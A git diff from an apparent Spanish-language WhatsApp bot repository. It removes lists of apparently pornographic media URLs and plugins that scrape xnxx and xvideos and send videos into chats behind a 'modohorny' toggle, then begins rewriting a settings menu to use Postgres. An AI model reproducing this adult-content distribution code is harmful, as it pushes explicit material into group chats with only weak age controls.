- 'https://telegra.ph/file/960d8c268aecb5eb117f0.jpg',
- 'https://telegra.ph/file/d0dd518bdd147cb10b0b5.jpg',
- 'https://telegra.ph/file/31f2d59b5cd68ec5acb21.jpg',
- 'https://telegra.ph/file/14ab9bd02f24e0f1a1a03.jpg',
- 'https://telegra.ph/file/e02bf6bc9227f7f8b7e2a.jpg',
- 'https://telegra.ph/file/ab55fca1d6b602b1a69df.jpg',
- 'https://telegra.ph/file/42105cac3666b37da3d1c.jpg',
-];
-global.packgirl = [
- 'https://telegra.ph/file/c0da7289bee2d97048feb.jpg',
- 'https://telegra.ph/file/b8564166f9cac4d843db3.jpg',
- 'https://telegra.ph/file/fdefd621a17712be15e0e.jpg',
- 'https://telegra.ph/file/6e1a6dcf1c91bf62d3945.jpg',
- 'https://telegra.ph/file/0224c1ecf6b676dda3ac0.jpg',
- 'https://telegra.ph/file/b71b8f04772f1b30355f1.jpg',
- 'https://telegra.ph/file/6561840400444d2d27d0c.jpg',
- 'https://telegra.ph/file/37e445df144e1dfcdb744.jpg',
- 'https://telegra.ph/file/155b6ac6757bdd9cd05f9.jpg',
- 'https://telegra.ph/file/2255a8a013540c2820a2b.jpg',
- 'https://telegra.ph/file/450e901ac153765f095c5.jpg',
- 'https://telegra.ph/file/f18e421a70810015be505.jpg',
- 'https://telegra.ph/file/d3d190691ec399431434e.jpg',
- 'https://telegra.ph/file/1fd2b897a1dbc3fdc2a70.jpg',
- 'https://telegra.ph/file/607d54a909035bca7444f.jpg',
- 'https://telegra.ph/file/818ba7c0ae82876b190b6.jpg',
- 'https://telegra.ph/file/0f2bb426951b4a8fe1e5a.jpg',
- 'https://telegra.ph/file/7e895b5b933226a07558a.jpg',
- 'https://telegra.ph/file/f9d9f0da337512a1b1882.jpg',
- 'https://telegra.ph/file/09ff5bfce02f1f78e3861.jpg',
- 'https://telegra.ph/file/4ad840d401ab1f90444df.jpg',
- 'https://telegra.ph/file/7b4bdcad3dde870355c94.jpg',
- 'https://telegra.ph/file/f69a5beaca50fc52a4a71.jpg',
- 'https://telegra.ph/file/411d7cdee24669e167adb.jpg',
- 'https://telegra.ph/file/36a63288e27e88e2f8e10.jpg',
- 'https://telegra.ph/file/1ac7657a5e7b354cd9991.jpg',
- 'https://telegra.ph/file/14161eab0c1d919dc3218.jpg',
- 'https://telegra.ph/file/810411b9128fe11dd639a.jpg',
- 'https://telegra.ph/file/5fe7e98533754b007e7a1.jpg',
-];
-global.packmen = [
- 'https://telegra.ph/file/bf303b19b9834f90e9617.jpg',
- 'https://telegra.ph/file/36ef2b807251dfccd17c2.jpg',
- 'https://telegra.ph/file/bcc34403d16de829ea5d2.jpg',
- 'https://telegra.ph/file/5c6b7615662fb53a39e53.jpg',
- 'https://telegra.ph/file/1a8183eff48671ea265c2.jpg',
- 'https://telegra.ph/file/f9745dcd22f67cbc62e08.jpg',
- 'https://telegra.ph/file/02219f503317b0596e101.jpg',
- 'https://telegra.ph/file/470c8ec30400a73d03207.jpg',
- 'https://telegra.ph/file/c94fa8ed20f2c0cf16786.jpg',
- 'https://telegra.ph/file/1b02a1ca6a39e741faec7.jpg',
- 'https://telegra.ph/file/eea58bf7043fd697cdb43.jpg',
- 'https://telegra.ph/file/ee3db7facdfe73c8df05a.jpg',
- 'https://telegra.ph/file/d45b4e4af4f2139507f8c.jpg',
- 'https://telegra.ph/file/d176e7fc8720f98f6b182.jpg',
- 'https://telegra.ph/file/ce1e072829d1fa5d99f5f.jpg',
- 'https://telegra.ph/file/a947933701be6d579c958.jpg',
- 'https://telegra.ph/file/9027e5a464ec88e8ab5c1.jpg',
- 'https://telegra.ph/file/049a8c611a838ea2f6daa.jpg',
- 'https://telegra.ph/file/37b35fbc7e2ee73482ee1.jpg',
- 'https://telegra.ph/file/9bcfade24ae85cd417f06.jpg',
- 'https://telegra.ph/file/ac0c711585f4300c54355.jpg',
-];
-global.videosxxxc = [
- 'https://telegra.ph/file/4a270d9945ac46f42d95c.mp4',
- 'https://telegra.ph/file/958c11e84d271e783ea3f.mp4',
- 'https://telegra.ph/file/f753759342337c4012b3f.mp4',
- 'https://telegra.ph/file/379cee56c908dd536dd33.mp4',
- 'https://telegra.ph/file/411d8f59a5cefc2a1d227.mp4',
- 'https://telegra.ph/file/ee2cf1b359d6eef50d7b7.mp4',
- 'https://telegra.ph/file/1e316b25c787f94a0f8fd.mp4',
- 'https://telegra.ph/file/c229d33edce798cde0ca4.mp4',
- 'https://telegra.ph/file/b44223e72dd7e80e415f2.mp4',
- 'https://telegra.ph/file/61486d45a8a3ea95a7c86.mp4',
- 'https://telegra.ph/file/76ba0dc2a07f491756377.mp4',
- 'https://telegra.ph/file/831bb88f562bef3f1a15d.mp4',
- 'https://telegra.ph/file/ee2cf1b359d6eef50d7b7.mp4',
- 'https://telegra.ph/file/598857924f3a29ffd37ae.mp4',
- 'https://telegra.ph/file/528caef6ea950ec45aeef.mp4',
- 'https://telegra.ph/file/4a270d9945ac46f42d95c.mp4',
- 'https://telegra.ph/file/958c11e84d271e783ea3f.mp4',
- 'https://telegra.ph/file/f753759342337c4012b3f.mp4',
- 'https://telegra.ph/file/379cee56c908dd536dd33.mp4',
- 'https://telegra.ph/file/411d8f59a5cefc2a1d227.mp4',
- 'https://telegra.ph/file/76ba0dc2a07f491756377.mp4',
- 'https://telegra.ph/file/831bb88f562bef3f1a15d.mp4',
-];
-
-global.videosxxxc2 = [
- 'https://l.top4top.io/m_2257y4pyl0.mp4',
- 'https://c.top4top.io/m_2274woesg0.mp4',
- 'https://k.top4top.io/m_2257pdwjy0.mp4',
- 'https://a.top4top.io/m_2257qulmx0.mp4',
- 'https://a.top4top.io/m_2257vxzr62.mp4',
- 'https://b.top4top.io/m_2257wjmbh3.mp4',
- 'https://b.top4top.io/m_2257sen2a1.mp4',
- 'https://c.top4top.io/m_2257hpo9v3.mp4',
- 'https://e.top4top.io/m_2257pye7u1.mp4',
- 'https://c.top4top.io/m_2257p7xg14.mp4',
- 'https://c.top4top.io/m_2257p4v9i3.mp4',
- 'https://l.top4top.io/m_2257jvkrv3.mp4',
- 'https://b.top4top.io/m_2257pl7wh1.mp4',
- 'https://e.top4top.io/m_2257fiwnp2.mp4',
- 'https://b.top4top.io/m_22578b1nk1.mp4',
- 'https://k.top4top.io/m_22572gv7q1.mp4',
- 'https://i.top4top.io/m_2257pu90l2.mp4',
- 'https://d.top4top.io/m_2257vcwiw3.mp4',
- 'https://j.top4top.io/m_2258joebc2.mp4',
- 'https://g.top4top.io/m_2258kvnba4.mp4',
- 'https://f.top4top.io/m_2258nm8pe1.mp4',
- 'https://g.top4top.io/m_2258af7bc2.mp4',
- 'https://l.top4top.io/m_2258f0ci92.mp4',
- 'https://j.top4top.io/m_2258ehqpb2.mp4',
- 'https://h.top4top.io/m_2258pckkf3.mp4',
- 'https://e.top4top.io/m_225857rs20.mp4',
- 'https://k.top4top.io/m_225863kpa0.mp4',
- 'https://j.top4top.io/m_2258s6we62.mp4',
- 'https://i.top4top.io/m_2258if6l13.mp4',
- 'https://b.top4top.io/m_2258lmd2h1.mp4',
- 'https://j.top4top.io/m_2258a9oah2.mp4',
- 'https://i.top4top.io/m_22588w3xh0.mp4',
- 'https://g.top4top.io/m_225885lm14.mp4',
- 'https://e.top4top.io/m_2258buxc30.mp4',
- 'https://e.top4top.io/m_2258fvra62.mp4',
- 'https://l.top4top.io/m_22588mx7k4.mp4',
- 'https://g.top4top.io/m_2258zhldg1.mp4',
-];
diff --git a/plugins/comandos+18-xnxxsearch.js b/plugins/comandos+18-xnxxsearch.js
deleted file mode 100644
index 35131453c..000000000
--- a/plugins/comandos+18-xnxxsearch.js
+++ /dev/null
@@ -1,128 +0,0 @@
-import fetch from 'node-fetch';
-const handler = async (m, {text, usedPrefix, command}) => {
-if (!db.data.chats[m.chat].modohorny && m.isGroup) throw `[ ⚠️ ] Los comandos +18 estan desactivados en este grupo, si es administrador de este grupo y desea activarlos escriba #enable modohorny para activar*`
-if (!text) throw `${lenguajeGB['smsAvisoMG']()}𝙐𝙎𝙀 𝙀𝙇 𝘾𝙊𝙈𝘼𝙉𝘿𝙊 𝘿𝙀 𝙀𝙎𝙏𝘼 𝙈𝘼𝙉𝙀𝙍𝘼\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} Sexo*`
-try {
-const vids_ = {from: m.sender, urls: [],};
-if (!global.videoListXXX) {
-global.videoListXXX = [];
-}
-if (global.videoListXXX[0]?.from == m.sender) {
-global.videoListXXX.splice(0, global.videoListXXX.length);
-}
-const res = await xnxxsearch(text);
-const json = res.result;
-let cap = `*🔍 𝙍𝙀𝙎𝙐𝙇𝙏𝘼𝘿𝙊𝙎 𝘿𝙀 𝙇𝘼 𝘽𝙐𝙎𝙌𝙐𝙀𝘿𝘼
-:* ${text.toUpperCase()}\n\n`;
-let count = 1;
-for (const v of json) {
-const linkXXX = v.link;
-vids_.urls.push(linkXXX);
-cap += `*[${count}]*\n• *𝙏𝙄𝙏𝙐𝙇𝙊:* ${v.title}\n• *𝙇𝙄𝙉𝙆:* ${v.link}\n• *𝙄𝙉𝙁𝙊:* ${v.info}`;
-cap += '\n\n' + '••••••••••••••••••••••••••••••••••••' + '\n\n';
-count++;
-}
-m.reply(cap);
-global.videoListXXX.push(vids_);
-} catch {
-throw e;
-}}
-handler.command = /^porhubsearch|xvideossearch|xnxxsearch$/i
-handler.level = 9
-handler.limit = 8
-handler.register = true
-export default handler
-
-async function xnxxsearch(query) {
- return new Promise((resolve, reject) => {
- const baseurl = 'https://www.xnxx.com';
- fetch(`${baseurl}/search/${query}/${Math.floor(Math.random() * 3) + 1}`, {method: 'get'}).then((res) => res.text()).then((res) => {
- const $ = cheerio.load(res, {xmlMode: false});
- const title = [];
- const url = [];
- const desc = [];
- const results = [];
- $('div.mozaique').each(function(a, b) {
- $(b).find('div.thumb').each(function(c, d) {
- url.push(baseurl + $(d).find('a').attr('href').replace('/THUMBNUM/', '/'));
- });
- });
- $('div.mozaique').each(function(a, b) {
- $(b).find('div.thumb-under').each(function(c, d) {
- desc.push($(d).find('p.metadata').text());
- $(d).find('a').each(function(e, f) {
- title.push($(f).attr('title'));
- });
- });
- });
- for (let i = 0; i < title.length; i++) {
- results.push({title: title[i], info: desc[i], link: url[i]});
- }
- resolve({code: 200, status: true, result: results});
- }).catch((err) => reject({code: 503, status: false, result: err}));
- });
-}
-
-
-
-
-/*import axios from 'axios'
-import fs from 'fs'
-import cheerio from 'cheerio'
-import fetch from 'node-fetch'
-let handler = async (m, { text, conn, args, command, usedPrefix }) => {
-if (!db.data.chats[m.chat].modohorny && m.isGroup) throw `${lenguajeGB['smsAvisoAG']()}𝙇𝙊𝙎 𝘾𝙊𝙈𝘼𝙉𝘿𝙊𝙎 +18 𝙀𝙎𝙏𝘼𝙉 𝘿𝙀𝙎𝘼𝘾𝙏𝙄𝙑𝘼𝘿𝙊𝙎 𝙐𝙎𝙀 #𝙤𝙣 𝙢𝙤𝙙𝙤𝙝𝙤𝙧𝙣𝙮 𝙋𝘼𝙍𝘼 𝘼𝘾𝙏𝙄𝙑𝘼𝙍\n\n+18 𝘾𝙊𝙈𝙈𝘼𝙉𝘿𝙎 𝘼𝙍𝙀 𝘿𝙄𝙎𝘼𝘽𝙇𝙀𝘿 𝙐𝙎𝙀 #𝙤𝙣 𝙢𝙤𝙙𝙤𝙝𝙤𝙧𝙣𝙮 𝙏𝙊 𝙀𝙉𝘼𝘽𝙇𝙀*`
-if (!text) throw `*𝙌𝙪𝙚 𝙗𝙪𝙨𝙘𝙖? 𝙐𝙨𝙚𝙧 𝙪𝙣 𝙚𝙣𝙡𝙖𝙘𝙚 𝙙𝙚 𝙭𝙣𝙭𝙭\n𝙀𝙟𝙚𝙢𝙥𝙡𝙤\n*${usedPrefix + command} Con mi prima*`
-try {
-await delay(5000)
-let res = await xnxxsearch(text)
-let json = res.result
-let listSerch = []
-let teskd = `𝑪𝒐𝒏𝒕𝒆𝒏𝒊𝒅𝒐 𝒓𝒆𝒍𝒂𝒄𝒊𝒐𝒏𝒂𝒅𝒐: ${args.join(" ")}`
-const sections = [{
-title: `ⓡⓔⓢⓤⓛⓣⓐⓓⓞⓢ`,
-rows: listSerch }]
-const listMessage = {
-text: teskd,
-footer: '𝐄𝐥𝐢𝐣𝐚 𝐮𝐧𝐚 𝐨𝐩𝐜𝐢𝐨𝐧 𝐲 𝐩𝐫𝐞𝐜𝐢𝐨𝐧𝐞 𝐄𝐧𝐯𝐢𝐚𝐫',
-title: "➤ 𝑪𝒐𝒏𝒕𝒆𝒏𝒊𝒅𝒐 𝒆𝒏𝒄𝒐𝒏𝒕𝒓𝒂𝒅𝒐",
-buttonText: "➤ 𝑹𝒆𝒔𝒖𝒍𝒕𝒂𝒅𝒐𝒔",
-sections}
-for (let i of json) {
-listSerch.push({title: i.title, description: '⇧ sᴇʟᴇᴄᴄɪᴏɴᴀ ᴇsᴛᴀ ᴏᴘᴄɪᴏɴ ᴘᴀʀᴀ ᴅᴇsᴄᴀʀɢᴀʀ ᴇsᴛᴇ ᴠɪᴅᴇᴏ ⇧', rowId: `${usedPrefix}xnxxdl ${i.link}`})}
-conn.sendMessage(m.sender, listMessage, { quoted: m })
-if (m.isGroup) return m.reply('*✳️ 𝙃𝙊𝙇𝘼 𝙀𝙎𝙏𝙄𝙈𝘼𝘿𝙊 𝙐𝙎𝙐𝘼𝙍𝙄𝙊(𝘼), 𝙎𝙐 𝙋𝙀𝙍𝘿𝙄𝘿𝙊 𝙃𝘼 𝙎𝙄𝘿𝙊 𝙀𝙉𝙑𝙄𝘼𝘿𝙊 𝘼 𝙎𝙐 𝘾𝙃𝘼𝙏 𝙋𝙍𝙄𝙑𝘼𝘿𝙊, 𝙀𝙎𝙏𝙊 𝘾𝙊𝙈𝙊 𝙎𝙊𝙇𝙐𝘾𝙄𝙊𝙉 𝙏𝙀𝙈𝙋𝙊𝙍𝘼𝙇 𝘼 𝙀𝙍𝙍𝙊𝙍𝙀𝙎 𝘿𝙀 𝙈𝙀𝙉𝙎𝘼𝙅𝙀 𝘾𝙊𝙉 𝘽𝙊𝙏𝙊𝙉𝙀𝙎 𝙏𝙄𝙋𝙊 𝙇𝙄𝙎𝙏𝘼𝙎 𝙌𝙐𝙀 𝙉𝙊 𝙎𝙊𝙉 𝙑𝙄𝙎𝙄𝘽𝙇𝙀𝙎 𝙀𝙉 𝙇𝘼𝙎 𝙑𝙀𝙍𝙎𝙄𝙊𝙉𝙀𝙎 𝙈𝘼𝙎 𝙍𝙀𝘾𝙄𝙀𝙉𝙏𝙀𝙎 𝘿𝙀 𝙒𝙃𝘼𝙏𝙎𝘼𝙋𝙋*')
-} catch (e) {
-m.reply(`${lenguajeGB['smsAvisoFG']()}𝙑𝙐𝙀𝙇𝙑𝘼 𝘼 𝙄𝙉𝙏𝙀𝙉𝙏𝘼𝙍\n\n𝙏𝙍𝙔 𝘼𝙂𝘼𝙄𝙉`)
-}}
-handler.command = /^porhubsearch|xvideossearch|xnxxsearch$/i
-handler.level = 9
-handler.limit = 6
-handler.register = true
-export default handler
-
-const delay = time => new Promise(res => setTimeout(res, time))
-
-async function xnxxsearch(query) {
-return new Promise((resolve, reject) => {
-const baseurl = 'https://www.xnxx.com'
-fetch(`${baseurl}/search/${query}/${Math.floor(Math.random() * 3) + 1}`, {method: 'get'}).then(res => res.text()).then(res => {
-let $ = cheerio.load(res, { xmlMode: false });
-let title = [];
-let url = [];
-let desc = [];
-let results = [];
-$('div.mozaique').each(function(a, b) {
-$(b).find('div.thumb').each(function(c, d) {
-url.push(baseurl+$(d).find('a').attr('href').replace("/THUMBNUM/", "/"))
-})})
-$('div.mozaique').each(function(a, b) {
-$(b).find('div.thumb-under').each(function(c, d) {
-desc.push($(d).find('p.metadata').text())
-$(d).find('a').each(function(e,f) {
-title.push($(f).attr('title'))
-})})})
-for (let i = 0; i < title.length; i++) {
-results.push({ title: title[i], info: desc[i], link: url[i] })}
-resolve({ code: 200, status: true, result: results
-})}).catch(err => reject({code: 503, status: false, result: err }))})}*/
diff --git a/plugins/comandos+18-xvideos.js b/plugins/comandos+18-xvideos.js
deleted file mode 100644
index 00e496246..000000000
--- a/plugins/comandos+18-xvideos.js
+++ /dev/null
@@ -1,68 +0,0 @@
-import fetch from 'node-fetch';
-import axios from 'axios';
-import cheerio from 'cheerio';
-const handler = async (m, {conn, args, command, usedPrefix, text}) => {
-if (!db.data.chats[m.chat].modohorny && m.isGroup) throw `[ ⚠️ ] Los comandos +18 estan desactivados en este grupo, si es administrador de este grupo y desea activarlos escriba #enable modohorny para activar*`
-if (!args[0]) throw `${mg}𝙐𝙎𝙀 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝘿𝙀 𝙓𝙑𝙄𝘿𝙀𝙊𝙎\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n* ${usedPrefix + command} https://www.xvideos.com/video70389849/pequena_zorra_follada_duro*`
-try {
-await conn.reply(m.chat, '➤ 𝙀𝙎𝙋𝙀𝙍𝙀 𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍 𝘼 𝙌𝙐𝙀 𝙎𝙀 𝙀𝙉𝙑𝙄𝙀 𝙀𝙇 𝙑𝙄𝘿𝙀𝙊', m)
-const res = await xvideosdl(args[0]);
-conn.sendMessage(m.chat, {document: {url: res.result.url}, mimetype: 'video/mp4', fileName: res.result.title}, {quoted: m});
-} catch (e) {
-m.reply('*${fg}𝙉𝙊 𝙁𝙐𝙉𝘾𝙄𝙊𝙉𝙊, 𝙐𝙎𝙀 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝘿𝙀 𝙓𝙑𝙄𝘿𝙀𝙊𝙎, 𝙑𝙐𝙀𝙇𝙑𝘼 𝘼 𝙄𝙉𝙏𝙀𝙉𝙏𝘼𝙍*')
-}};
-handler.command = /^(xvideosdl)$/i
-handler.level = 8
-handler.limit = 6
-handler.register = true
-export default handler
-
-async function xvideosdl(url) {
-return new Promise((resolve, reject) => {
-fetch(`${url}`, {method: 'get'})
-.then(res => res.text())
-.then(res => {
-let $ = cheerio.load(res, {xmlMode: false});
-const title = $("meta[property='og:title']").attr("content")
-const keyword = $("meta[name='keywords']").attr("content")
-const views = $("div#video-tabs > div > div > div > div > strong.mobile-hide").text()+" views"
-const vote = $("div.rate-infos > span.rating-total-txt").text()
-const likes = $("span.rating-good-nbr").text()
-const deslikes = $("span.rating-bad-nbr").text()
-const thumb = $("meta[property='og:image']").attr("content")
-const url = $("#html5video > #html5video_base > div > a").attr("href")
-resolve({status: 200, result: {title, url, keyword, views, vote, likes, deslikes, thumb}})
-})})};
-
-async function xvideosSearch(url) {
-return new Promise(async (resolve) => {
-await axios.request(`https://www.xvideos.com/?k=${url}&p=${Math.floor(Math.random() * 9) +1}`, {method: "get"}).then(async result => {
-let $ = cheerio.load(result.data, {xmlMod3: false});
-let title = [];
-let duration = [];
-let quality = [];
-let url = [];
-let thumb = [];
-let hasil = [];
-$("div.mozaique > div > div.thumb-under > p.title").each(function(a,b){
-title.push($(this).find("a").attr("title"));
-duration.push($(this).find("span.duration").text());
-url.push("https://www.xvideos.com"+$(this).find("a").attr("href"));
-});
-$("div.mozaique > div > div.thumb-under").each(function(a,b){
-quality.push($(this).find("span.video-hd-mark").text());
-});
-$("div.mozaique > div > div > div.thumb > a").each(function(a,b){
-thumb.push($(this).find("img").attr("data-src"));
-});
-for(let i=0; i < title.length; i++){
-hasil.push({
-title: title[i],
-duration: duration[i],
-quality: quality[i],
-thumb: thumb[i],
-url: url[i]
-});
-}
-resolve(hasil);
-})})};
diff --git a/plugins/config-on y off.js b/plugins/config-on y off.js
index 2e00dd794..5709f54d5 100644
--- a/plugins/config-on y off.js
+++ b/plugins/config-on y off.js
@@ -1,599 +1,129 @@
-import fetch from 'node-fetch'
-import fs from 'fs'
-
-let handler = async (m, { conn, usedPrefix, command, args, isOwner, isAdmin, isROwner, text }) => {
-//try{
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let chat = global.db.data.chats[m.chat]
-let user = global.db.data.users[m.sender]
-let bot = global.db.data.settings[conn.user.jid] || {}
-let toUser = `${m.sender.split("@")[0]}`
-let aa = toUser + '@s.whatsapp.net'
-
-let titulo = [
-lenguajeGB.smsParaAdmins() + ' ' + `${m.isGroup ? chat.welcome ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdmins() + ' ' + `${m.isGroup ? chat.detect ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdYOw() + ' ' + `${m.isGroup ? chat.autolevelup ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaOw() + ' ' + `${bot.restrict ? '✅' : '❌'}`,
-lenguajeGB.smsParaOw() + ' ' + `${bot.antiCall ? '✅' : '❌'}`,
-lenguajeGB.smsParaOw() + ' ' + `${bot.antiSpam ? '✅' : '❌'}`,
-lenguajeGB.smsParaOw() + ' ' + `${global.opts['self'] ? '❌' : '✅'}`,
-lenguajeGB.smsParaAdmins() + ' ' + `${m.isGroup ? chat.modoadmin ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaOw() + ' ' + `${global.opts['autoread'] ? '✅' : '❌'}`,
-lenguajeGB.smsParaOw() + ' ' + `${bot.temporal ? '✅' : '❌'}`,
-lenguajeGB.smsParaAdmins() + ' ' + `${m.isGroup ? chat.stickers ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdmins() + ' ' + `${m.isGroup ? chat.autosticker ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdYOw() + ' ' + `${m.isGroup ? chat.reaction ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdYOw() + ' ' + `${m.isGroup ? chat.audios ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdYOw() + ' ' + `${m.isGroup ? chat.modohorny ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdmins() + ' ' + `${m.isGroup ? chat.antitoxic ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdYOw() + ' ' + `${m.isGroup ? chat.antiver ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdYOw() + ' ' + `${m.isGroup ? chat.delete ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdmins() + ' ' + `${m.isGroup ? chat.antifake ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdmins() + ' ' + `${m.isGroup ? chat.antiLink ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdmins() + ' ' + `${m.isGroup ? chat.antiLink2 ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdmins() + ' ' + `${m.isGroup ? chat.antiTiktok ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdmins() + ' ' + `${m.isGroup ? chat.antiYoutube ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdmins() + ' ' + `${m.isGroup ? chat.antiTelegram ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdmins() + ' ' + `${m.isGroup ? chat.antiFacebook ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdmins() + ' ' + `${m.isGroup ? chat.antiInstagram ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaAdmins() + ' ' + `${m.isGroup ? chat.antiTwitter ? '✅' : '❌' : lenguajeGB.smsNoGg()}`,
-lenguajeGB.smsParaOw() + ' ' + `${global.opts['pconly'] ? '✅' : '❌'}`,
-lenguajeGB.smsParaOw() + ' ' + `${global.opts['gconly'] ? '✅' : '❌'}`]
-
-let nombre = [ lenguajeGB.smsWel1(), lenguajeGB.smsDete1(), lenguajeGB.smsANivel1(), lenguajeGB.smsRestri1(), lenguajeGB.smsLlamar1(), lenguajeGB.smsAntiSp1(), lenguajeGB.smsModP1(), lenguajeGB.smsModAd1(), lenguajeGB.smsLect1(), lenguajeGB.smsTempo1(), lenguajeGB.smsStik1(), lenguajeGB.smsStickA1(), lenguajeGB.smsReacc1(), lenguajeGB.smsAudi1(), lenguajeGB.smsModHor1(), lenguajeGB.smsAntitoc1(), lenguajeGB.smsModOb1(), lenguajeGB.smsAntiEli1(), lenguajeGB.smsAntiInt1(), lenguajeGB.smsAntiE1(), lenguajeGB.smsAntiEE1(), lenguajeGB.smsAntiTT1(), lenguajeGB.smsAntiYT1(), lenguajeGB.smsAntiTEL1(), lenguajeGB.smsAntiFB1(),
-lenguajeGB.smsAntiIG1(), lenguajeGB.smsAntiTW1(), lenguajeGB.smsSOLOP1(), lenguajeGB.smsSOLOG1()]
-
-let descripción = [ lenguajeGB.smsWel2(), lenguajeGB.smsDete2(), lenguajeGB.smsANivel2(), lenguajeGB.smsRestri2(), lenguajeGB.smsLlamar2(), lenguajeGB.smsAntiSp2(), lenguajeGB.smsModP2(), lenguajeGB.smsModAd2(), lenguajeGB.smsLect2(), lenguajeGB.smsTempo2(), lenguajeGB.smsStik2(), lenguajeGB.smsStickA2(), lenguajeGB.smsReacc2(), lenguajeGB.smsAudi2(), lenguajeGB.smsModHor2(), lenguajeGB.smsAntitoc2(), lenguajeGB.smsModOb2(), lenguajeGB.smsAntiEli2(), lenguajeGB.smsAntiInt2(), lenguajeGB.smsAntiE2(), lenguajeGB.smsAntiEE2(), lenguajeGB.smsAntiTT2(), lenguajeGB.smsAntiYT2(), lenguajeGB.smsAntiTEL2(), lenguajeGB.smsAntiFB2(),
-lenguajeGB.smsAntiIG2(), lenguajeGB.smsAntiTW2(), lenguajeGB.smsSOLOP2(), lenguajeGB.smsSOLOG2()]
-
-let comando = [ "welcome", "detect", "autolevelup", "restrict", "anticall", "antispam", "public", "modoadmin", "autoread", "temporal", "stickers", "autosticker", "reaction", "audios", "modohorny", "antitoxic", "antiviewonce", "antidelete", "antifake", "antilink", "antilink2", "antitiktok", "antiyoutube", "antitelegram", "antifacebook",
-"antinstagram", "antitwitter", "pconly", "gconly"]
-
-let sections = Object.keys(titulo, nombre, descripción, comando).map((v, index) => ({ title: `${titulo[v]}`,
-rows: [{ title: `${nombre[v]} : ${command} ${comando[v]}`, description: `${1 + index}. ${descripción[v]}`, rowId: usedPrefix + command + ' ' + comando[v], }], }))
-
-let name = await conn.getName(m.sender)
-/*const listMessage = {
-text: `${lenguajeGB.smsConfi10()}`,
-footer: `╭━━━✦ *${lenguajeGB.smsConfi1()}* ✦━━━━⬣
-┃
-┃🌟 ${lenguajeGB.smsConfi2()} *${name}*
-┃
-${lenguajeGB.smsConfi3()}
-${lenguajeGB.smsConfi4()}
-┃
-${lenguajeGB.smsConfi5()}
-${lenguajeGB.smsConfi6()}
-${lenguajeGB.smsConfi7()}
-${lenguajeGB.smsConfi8()}
-${m.isGroup ? `┃` : `┃\n${lenguajeGB.smsConfi9()}`}
-╰━━━━━✦ *${vs}* ✦━━━━⬣
-${wm}`,
-title: null,
-buttonText: `⚙️ ${lenguajeGB.smsConfi1()} ⚙️`,
-sections }*/
-
-let isEnable = /true|enable|(turn)?on|1/i.test(command)
-let type = (args[0] || '').toLowerCase()
+import { db } from '../lib/postgres.js'
+import { getSubbotConfig } from '../lib/postgres.js'
+
+const handler = async (m, { conn, args, usedPrefix, command, isAdmin, isOwner }) => {
+const isEnable = /true|enable|(turn)?on|1/i.test(command)
+const type = (args[0] || '').toLowerCase()
+const chatId = m.chat
+const botId = conn.user?.id
+const cleanId = botId.replace(/:\d+/, '');
+const isSubbot = botId !== 'main'
let isAll = false, isUser = false
-
+let res = await db.query('SELECT * FROM group_settings WHERE group_id = $1', [chatId]);
+let chat = res.rows[0] || {};
+const getStatus = (flag) => m.isGroup ? (chat[flag] ? '✅' : '❌') : '⚠️';
+
+let menu = `*『 ⧼⧼⧼ CONFIGURACIÓN ⧽⧽⧽ 』*\n\n`;
+menu += `> *Seleccione una opción de la lista*\n> *Para empezar a Configurar*\n\n`;
+menu += `● *Avisos de la Configuracion:*
+✅ ⇢ *Función Activada*
+❌ ⇢ *Función Desactivada*
+⚠️ ⇢ *Este Chat no es un Grupo*\n\n`;
+menu += `*『 FUNCIONES PARA ADMINS 』*\n\n`;
+menu += `🎉 BIENVENIDA ${getStatus('welcome')}\n• Mensaje de bienvenida\n• ${usedPrefix + command} welcome\n\n`;
+menu += `📣 DETECTAR AVISOS ${getStatus('detect')}\n• Avisar cambios en el grupo\n• ${usedPrefix + command} detect\n\n`;
+menu += `🔗 ANTILINK ${getStatus('antilink')}\n• Detectar enlaces de grupo\n• ${usedPrefix + command} antilink\n\n`;
+menu += `🌐 ANTILINK2 ${getStatus('antilink2')}\n• Detectar cualquier link\n• ${usedPrefix + command} antilink2\n\n`;
+menu += `🕵️ ANTIFAKE ${getStatus('antifake')}\n• Bloquear números de otros países\n• ${usedPrefix + command} antifake\n\n`;
